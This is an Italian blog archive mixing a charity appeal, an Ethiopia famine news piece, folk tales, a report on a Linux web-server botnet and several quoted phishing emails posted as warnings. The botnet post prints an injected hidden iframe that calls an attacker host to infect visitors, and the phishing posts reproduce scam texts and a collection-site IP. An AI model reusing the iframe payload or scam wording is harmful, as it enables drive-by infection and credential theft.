Aiutiamo Matteo!

Inserito da 26 Novembre, 2009 (0) Commenti

Si tratta di :Appelli Umanitari Veri

Su segnalazione del Confratello Jonny Parisi della Misericordia di San Leone (Ct) pubblico un appello umanitario per aiutare il piccolo Matteo.

Si tratta di una notizia Vera

La Misericordia San Leone di Catania, quest’anno con il vostro aiuto desidera fare un REGALO SPECIALE al piccolo MATTEO un bimbo affetto da tetraparesi spastica per la quale necessita di cure speciali in un centro specializzato in Slovacchia Chiunque desideri contribuire a questo regalo attraverso una libera offerta verrà omaggiato con il calendario della nostra misericordia. E’ possibile donare e ritirare il calendario presso la nostra sede in via San Leone 1 Catania 95122.
per info: TEL. 095204102 FAX 095209052
cataniasanleone@misericordie.org
Codice IBAN ITM0301916904000000160290
Credito Siciliano Ag 4 CATANIA
Agenzia Postale Corso Indipendenza Catania
Codice IBAN IT28V0760116900000012758967
In entrambi i casi utilizzare la causale ” Un Calendario per Matteo”

La Misericordia di San Leone effettua spedizioni del calendario a Coloro che  verseranno una quota adeguata .

Grazie di Cuore
Che Dio Ve Ne Renda Merito

Categories : Appelli Umanitari Veri Tags : , , , , , , , , , , , , , , , , , , , , , , , , ,

Inserito da 26 Ottobre, 2009 (0) Commenti

Si tratta di :Appelli Generici
AFRICA. In attesa che arrivino gli ennesimi aiuti, i cittadini combattono la fame e la siccità con le danze della pioggia. Il governo ha chiesto l’intervento dell’Onu per uscire dall’emergenza, aggravata dalla crisi e dai cambiamenti climatici

Gli effetti dei cambiamenti climatici provocano milioni di vittime in Africa. Non si tratta della solita proiezione da qui a 40 anni, ma della drammatica cronaca quotidiana di Paesi come l’Etiopia, dove la siccità ha piegato alla fame il 15 per cento della popolazione: 6 milioni di persone. In una situazione così grave, che sembra essere sfuggita di mano anche al governo, ieri mattina il primo ministro Meles Zenawi ha chiesto alla comunità internazionale 110 milioni di dollari per tamponare immediatamente l’emergenza.

A rispondere all’appello (dovuto formalmente agli effetti della perdurante siccità e delle piogge intermittenti sui raccolti) sarà il Pam, il Programma alimentare delle Nazioni unite, che spenderà, da qui alla fine dell’anno, beni alimentari per un valore di almeno 85 milioni di dollari. Un approccio, quello dell’invio degli aiuti, decisamente deprecato dall’ultimo rapporto dell’Oxfam: l’organizzazione umanitaria, infatti, ha sollecitato una rivoluzione nell’ambito dell’autosufficienza alimentare per superare un impasse che nel Paese dura da oltre 25 anni.

Nel rapporto “Band aids and beyond”, pubblicato dall’Ong in coincidenza del 25esimo anniversario della più grave carestia della storia dell’Etiopia (in cui morirono più di un milione di cittadini), si fa un drammatico punto della situazione: 6,2 milioni di persone vivono in un avanzato stato di malnutrizione. Si stima, inoltre, che i costi della siccità nel Paese ammontino a oltre un miliardo di dollari l’anno. Una cifra compensata, ma non in tempi di crisi economica, dal considerevole fiume di denaro che arriva sotto forma di aiuti umanitari, il 70 per cento dei quali giunge dagli Stati Uniti. Dal 1991 a oggi, Washington – secondo le cifre citate nel rapporto – ha versato oltre 3,2 miliardi di dollari all’Etiopia. La quasi totalità della somma è arrivata in Africa sotto forma di prodotti alimentari americani.

Ecco le conseguenze: nessun aiuto all’economia agricola locale o regionale, mentre a crescere sono solo le spese di trasporto, il costo degli imballaggi e il deficit del Paese che importa praticamente tutto. Nel dossier, il direttore di Oxfam International Penny Lawrence mette in guardia la comunità internazionale dal continuare a perpetuare queste politiche di inerzia. «L’aiuto che forniamo in questo modo è solo un temporaneo sollievo – afferma-. I Paesi donatori devono iniziare a dare alle comunità gli strumenti per affrontare i disastri annunciati». Più che di scatole di latte in polvere, quindi, ci sarebbe bisogno di sistemi per l’irrigazione per le colture, granai e pozzi. Anche perché, secondo le previsioni dei climatologi, l’Etiopia verrà sempre più colpita dalla siccità. Nella speranza che cambino le politiche agricole gli etiopi restano in attesa degli ennesimi aiuti alimentari. E per smorzare la fame organizzano periodicamente delle spettacolari danze della pioggia.

FONTE : TERRA NEWS – AUTORE : SUSAN DABBOUS

http://www.terranews.it/news/2009/10/l%E2%80%99etiopia-chiede-110-milioni-di-dollari-sfamare-i-piu-poveri

Categories : Appelli Generici Tags : , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Nuovo attacco ai server web Linux, botnet via iframe apache e nginx

Inserito da 15 Settembre, 2009 (0) Commenti

Si tratta di :Exploits

Denis Sinegubko, si occupa di sicurezza in Russia, ha scoperto un gruppo di circa 100 server Linux infetti (una botnet) interconnessi tra loro. Si tratta di un gruppo di server web infetti e connessi tra loro che diffondono malware, con lo scopo di creare una rete di computer (server web) che infettano i visitatori di siti web, questa attività è stata scoperta analizzando alcuni server con installato apache con password di root facili, combinando mediante la tecnica iframe server esterni con installato il server nginx si è potuto inserire con successo nelle pagine stringhe all’interno del server vittima fatte in questa maniera :

<i_frame src="http ://a86x . homeunix . org:8080/ts/in.cgi?open2" width=997 height=0 style="visibility: hidden"></iframe>

Tale tecnica non fa altro che aumentare le macchine zombie.

Cosa avviene in parole semplici :

i server infetti osservati da Sinegubko legittimano il traffico web sulla porta 80,
la porta standard tcp per le connessioni al server. Il server rogue che gira avendo  installato nginx  potente server  http e un mail proxy  server sviluppato in russia da Igor Sysoev fa in modo che i computer degli utenti vengano infettati.
A complicare le cose e per aumentare la potenza virale ci si è messo pure l’aggiunta di reti basate su servizi che permettono la rintracciabilità di un computer in rete, ciò significa che esiste una rete di server tracciabile e una rete di computer che potenzialmente non avendo hosting fisso possono cambiare rapidamente dislocazione geografica.

Il tutto significa che nel momento in cui si lancia un comando alla botnet tutti i server infetti rispondono.

Secondo Sinegubko la responsabilità di tale diffusione è tutta degli amministratori di rete che mettono password poco sicure o che non proteggono il traffico di rete da eventuali sniffaggi di password di root.

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Tam Lin

Inserito da 22 Novembre, 2008 (0) Commenti

Si tratta di :Storielle e Aneddoti

Asako ci segnala questa storiella

C’era una volta la figlia di un nobile, che si chiamava Janet. Janet aveva un carattere molto avventuroso, ed un giorno decise di uscire per andare ad esplorare una foresta cupa che si trovava vicino a casa sua. Girovagò a lungo, finché in una radura vide delle splendide rose selvatiche e pensò di coglierle per fare un regalo a sua madre e alle sue sorelle che non amavano andare in giro come lei. Aveva appena colto una rosa, quando venne fuori dalla terra un giovane cavaliere, che le disse: Come osi cogliere quelle rose? Janet gli rispose: Volevo fare un regalo a mia madre e alle mie sorelle! Allora il cavaliere rispose: In realtà, anche se devo vegliare su questa foresta, a te regalerei qualsiasi cosa. Janet gli chiese allora il suo nome e lui rispose: Mi chiamo Tam Lin! Janet ebbe paura, perché sapeva che apparteneva al popolo degli elfi. Ma Tam Lin le raccontò la sua storia.
Io sono umano come te. Tanti anni fa, ero in questi boschi con mio zio quando fui rapito dalla Regina degli Elfi: mi sentii di colpo stanco, mi addormentai e al mio risveglio mi trovavo nel regno degli Elfi. Da allora di giorno devo fare la guardia a questa foresta, e di notte devo tornare nel regno, dove sono prigioniero della Regina. Vorrei tanto che qualcuno mi aiutasse a vincere quest’incantesimo!
Janet gli rispose: Vorrei aiutarti, c’è un modo per farlo? Tam Lin allora le disse: Stanotte è Halloween: il popolo degli Elfi cavalca sulla Terra. Tu vai al crocevia prima di questa foresta ed aspettami passare. Poi aggrappati a me, e qualsiasi cosa succeda non mi lasciare!
Janet aspettò la cavalcata degli Elfi al crocevia e quando vide Tam Lin apparire, gli si buttò addosso e lo strinse a sé. Di colpo Tam Lin diventò una piccolissima lucertola, poi un serpente spaventoso, poi una barra di ferro arroventato, ma niente: Janet non lo lasciava andare. Allora la Regina degli Elfi capì che aveva perso.
Tam Lin rimase con Janet, la sposò e vissero per sempre felici e contenti, vicini a quella foresta magica che li aveva fatti incontrare.

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Rosellina e Ledaccia

Inserito da 17 Novembre, 2008 (0) Commenti

Si tratta di :Storielle e Aneddoti

Cristina ci segnala questa storiella

C’era una volta un re che era rimasto vedovo con l’unica figlia, che si chiamava Rosellina. Poco tempo dopo si risposò con una donna che aveva un’unica figlia di nome Leda, ma che era così antipatica da essere soprannominata da tutti Ledaccia. In breve tempo Rosellina dovette cominciare a fare tutti i lavori più ingrati. Un giorno fu mandato nella foresta a prendere una scure che era stata dimenticata. C’erano tre colombe nella foresta, a cui Rosellina offrì del pane che aveva nella borsa.
Le tre colombe allora dissero: Voglio che sia bella il doppio che è! Voglio che i suoi capelli si trasformino in fili d’oro! E voglio che ogni volta che ride le escano delle perle dalla bocca! Rosellina tornò a casa e suscitò la gelosia della matrigna che mandò invece Ledaccia nel bosco. Ma Ledaccia cacciò via le tre colombe, che allora dissero: Voglio che diventi ancora più brutta! Voglio che i suoi capelli diventino un nido di spine! Voglio che ogni volta che ride esca dalla sua bocca un rospo.
Ledaccia riarrivò a casa e dopo che sua madre vide cosa le era successo, il suo odio per la figliastra aumentò. La fece imbarcare su una barchetta e la lasciò ai flutti. Rosellina naufragò su una spiaggia su cui trovò un cervo, un pino ed un usignolo, che diventarono i suoi unici amici. Per diverso tempo visse con loro, fin quando non passò di lì un principe, che si innamorò di lei e volle portarla al palazzo. Rosellina accettò a patto di portarsi dietro i suoi tre amici.
La notizia del suo prossimo matrimonio giunse alla sua vecchia casa. La matrigna e Ledaccia riuscirono a farsi ammettere in sua presenza e le buttarono addosso una camicia che la trasformò in un’oca d’oro. Allora l’usignolo e il cervo andarono da una maga che disse loro che far ritornare Rosellina normale dovevano cospargerla con gli aghi di pino.
Il principe era molto infelice per la perdita della sua fidanzata: ma un giorno sentì un usignolo che cantava fuori dalla sua finestra e un cervo che batteva. Gli aprì e loro entrarono ed andarono nella cucina, dove era nascosta l’oca d’oro, e la cosparsero degli aghi che avevano tenuto nelle zampe e nelle corna. La principessa ridiventò normale, sposò il principe e visse felice e contenta con lui ed i suoi amici della natura.

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Il bambino d’oro e il bambino d’argento

Inserito da 15 Novembre, 2008 (0) Commenti

Si tratta di :Storielle e Aneddoti

Elisa ci manda questa storiella

Niame, il più potente fra i maghi del cielo, viveva in una fattoria posata sopra un bellissimo tappeto di nuvole. Un giorno decise di prendere moglie e invitò a presentarsi le quattro fanciulle più belle della sua tribù. Poi domandò a ciascuna:
– Che cosa faresti, per me, se io ti sposassi?
La prima, che si chiamava Acoco, dichiarò:
– Spazzerei la fattoria e governerei la tua casa.
E la seconda:
– Cucinerei ogni giorno per te le pietanze migliori.
E la terza:
– Filerei montagne di cotone e andrei tutti i giorni ad attingere l’acqua.
E la quarta:
– Io, Niame, ti darei un figlio tutto d’oro.
Naturalmente Niame scelse l’ultima e ordinò di preparare la cerimonia per le nozze. Acoco fu molto contrariata per la scelta fatta da Niame; si rodeva di invidia e di gelosia. Seppe tuttavia nascondere molto bene i propri sentimenti e riuscì a rimanere presso la giovane regina come dama di compagnia.
I due sposi vivevamo felicemente e avevano già preparato la culla in attesa del bambino tutto d’oro, quando Niame dovette partire, per visitare una sua grande fattoria. Proprio durante la sua assenza, alla regina nacquero due gemelli: uno tutto d’oro, l’altro tutto d’argento. La perfida Acoco, non appena li vide, prese i due bambini, li chiuse in un cestello e fuggi con essi in mezzo al bosco; poi nascose il cestello nel tronco vuoto di un albero. Nella culla al posto dei bambini, mise due orribili ranocchi. Quando Niame fu di ritorno, Acoco gli corse incontro:
– Affrettati, Niame! – gridò. – Vieni in casa a vedere i tuoi figli!
Niame si affrettò, ma quando vide nella culla le due brutte bestie, rimase male. Comandò che i ranocchi fossero uccisi e la regina esiliata proprio ai confini del regno, in una capanna solitaria.
Intanto il destino volle che un cacciatore passasse vicino all’albero morto dove stava nascosto il cestello con i due bambini dentro. L’uomo scorse un luccichio e si avvicinò.
– Che cosa è questo ?- si chiese.
– Siamo figli di Niame – risposero i bambini.
Il cacciatore raccolse il cesto, lo aprì, e restò ammirato davanti alla bellezza dei due piccoli. Era poverissimo, ma li portò a casa sua e li allevò con amore, senza rivelare a nessuno dove li avesse trovati.
I due bambini crescevano buoni, obbedienti e abili in tutte le cose. Quando il cacciatore aveva bisogno di denaro, raccoglieva la polvere d’oro e d’argento che cadeva di continuo dai loro corpi e andava in città a comperare quando gli era necessario. A poco a poco divenne un uomo molto ricco, e sostituì la misera capanna con un ampia fattoria.
Un giorno il cacciatore venne per caso a sapere che i due bambini erano figli del re e allora, sebbene a malincuore, decise di riportarli al padre. Giunti alla fattoria di Niame, il cacciatore chiamò il re fuori dal recinto e gli disse:
– Vieni a vedere quali esercizi sa fare questo ragazzo d’argento!
Niame uscì e restò ammirato dell’abilità straordinaria del giovane. Intanto il ragazzo d’oro aveva cominciato a cantare in modo meraviglioso e cantando narrava la propria storia: la promessa della mamma, la perfidia di Acoco e la bontà del cacciatore che li aveva allevati e amati come figli.
Niame stupito e commosso abbracciò i figli, fece richiamare la regina dall’esilio e ordinò alle schiave di pettinarla e rivestirla di abiti regali. Poi andò da Acoco, la trasformò in una gallina e la scaraventò sulla terra. Infine lodò molto il buon cacciatore e lo rimandò a casa carico di regali.
Ancora oggi i due figli di Niame vanno a fare il bagno nel grande fiume che scendeva a cascata sulla terra; allora un po’ della loro polvere d’oro e argento arriva fino a noi e quelli che la trovano diventano molto ricchi.

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Congratulazioni,Mondo BancoPosta premia il suo account con un bonus di fedelta pari a 151.00 Euro

Inserito da 14 Novembre, 2008 (0) Commenti

Si tratta di :Phishing e Truffe

ennesimo tentativo subdolo phishing ai danni di Poste Italiane
bisogna cestinare immediatamente !

“CONGRATULAZIONI”

Gentile Cliente,
BancoPosta premia il suo account con un bonus di fedelta.
Per ricevere il bonus ? necesario accedere ai servizi online entro 48 ore dalla ricezione di questa e-mail .
Importo bonus vinto: 150,00
Commissioni: 1,00
Importo totale: 151,00
Accedi ai servizi online per accreditare il bonus fedelta»
Poste Italiane garantisce il corretto trattamento dei dati personali degli utenti ai sensi dell’art. 13 del D. Lgs 30 giugno 2003 n. 196 ‘Codice in materia di protezione dei dati personali’.
Per ulteriori informazioni consulta il sito www.poste.it o telefona al numero verde gratuito 803 160.
La ringraziamo per aver scelto i nostri servizi.

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Gentile cliente vi informiamo che il tuo conto corrente ? stato sospeso!

Inserito da 13 Novembre, 2008 (0) Commenti

Si tratta di :Bufale e Hoax,Phishing e Truffe

piccola sintesi per farsi due risate è ovvio che è una comunicazione fraudolenta scherzandoci su ho fatto un piccolo riassunto… ahahh divertitevi…

in seguito a una ricerca approfondita usando tutte le tecniche possibili e immaginabili abbiamo trovato la tua e-mail e credendoti fesso ti mandiamo questo messaggio nella speranza che riusciamo a truffare tutta la tua ingente somma, e magrai così facendo puoi aiutare poveri noi truffatori di galline… che crediamo voi di ittalia tutti fessi e noi molto furbi!

segue e-mail fraudolenta …

Gentile Cliente,

Vi informiamo, che in seguito ad una ricerca approfondita su tutti conti corrente Poste Italiane, abbiamo concluso che nel vostro ci sono state eseguite delle azioni non autorizzate da voi.In seguitoa queste irregolarit? PosteItaliane ha deciso che la sospensione temponaranea e il blocco di tutte le transazioni con PosteItaliane sar? la miglior scelta.
Caro cliente se desideri che il tuo conto corrente sia di nuovo accessibile vi preghiamo di entrare nel sito sotto della nostra banca e procedere.

Per favore clicca qui per sbloccare il suo conto

Nota : Se nel massimo di 72h da quando vi abbiamo avvisato, non procedette con il sblocco del conto corrente, sar? cancelato dalla nostra base di dati e i soldi verano persi.
Vi ringraziamo e chiediamo scusa.
BancoPosta
Poste Italiane 2008 S.p.A.

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il servizio di Qui UBI – Ricerca – Conti Correnti

Inserito da 13 Novembre, 2008 (0) Commenti

Si tratta di :Phishing e Truffe

e-mail ai limiti della fantascienza, qui i truffatori si spacciano per la Banca Ubi e addirittura credendoci fessi patentati si inventano una storia qui si dice che la banca qui Ubi ci fa rispramiare l’invio postale e per comunicarci questa lieta notizia ha messo uno straniero dotato di scarsissima padronanza linguistica e carenze abnormi della lingua italiana nel front office ovvero nella parte cruciale cioè in due parole è assolutamente impossibile che la  banca metta una persona che non sa nemmno scrivere in italiano!

ma poi ricerca conti correnti che cervellone questo phisher !!!

segue  e-mail

Ricerca – Conti Correnti

“Le mie contabili” ? il servizio di Qui UBI che ti permette di ricevere la tua corrispondenza bancaria direttamente via internet, risparmiando i costi postali di invio.

Una volta attivato il servizio, le contabili relative ai tuoi rapporti bancari ti vengono inviate direttamente in Qui UBI in formato elettronico (pdf) ed hanno lo stesso valore di quelle che ricevevi per posta (se ne hai bisogno, puoi sempre richiedere alla tua filiale copia della documentazione in formato cartaceo).

Il servizio ? comodo e conveniente: in ogni momento hai la possibilita di consultare, stampare o salvare sul tuo pc le contabili relative, ad esempio, all’estratto di conto corrente o di deposito titoli, ai movimenti di conto, al pagamento delle rate del mutuo e alle note informative degli eseguiti di Borsa.

Attiva subito il servizio!

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Comunicazione nr. 35241 del 12-13 Novembre 2008 – Leggere con attenzione

Inserito da 13 Novembre, 2008 (0) Commenti

Si tratta di :Phishing e Truffe

Finta comunicazione profeniente da Ladri Informatici con l’obbiettivo di fregare i vostri codici d’accesso !
Cestinare Immediatamente non abboccate, poste Italiane non invia mai questo genere di comunicazioni

sito utilizzato per raccogliere dati sensibili ed informazioni finanziarie
http:// 62 . 216 . 20 . 111 / gica.html

segue falsa comunicazione con tono furbesco, non abboccare è una e-mail di phishing

Gentile Cliente,

Nell’ambito di un progetto di verifica dei data anagrafici forniti durante la sottoscrizione dei servizi di Poste.it e stata riscontrata una incongruenza relativa ai dati anagrafici in oggetto da lei forniti all momento della sottoscrizione contrattuale.

L’inserimento dei dati alterati puo costituire motivo di interruzione del servizio secondo gli art. 123 e 1423/b da lei accettati al momento della sottoscrizione, oltre a costituire reato penalmente perseguibile secondo il C.P.P ar. 651 del 2008 relativo alla legge contro il riciclaggio e la transparenza dei dati forniti in auto certificazione.

Per ovviare al problema e necessaria la verifica e l’aggiornamento dei dati relativi all’anaagrafica dell’Intestatario dei servizi Postali.

Effetuare l’aggiornamento dei dati cliccando sul seguente collegamento sicuro:
http://bancopostaonline.poste.it/bpol/cartepre/formslogin.fcc

Grazie della collaborazione,
Poste.it

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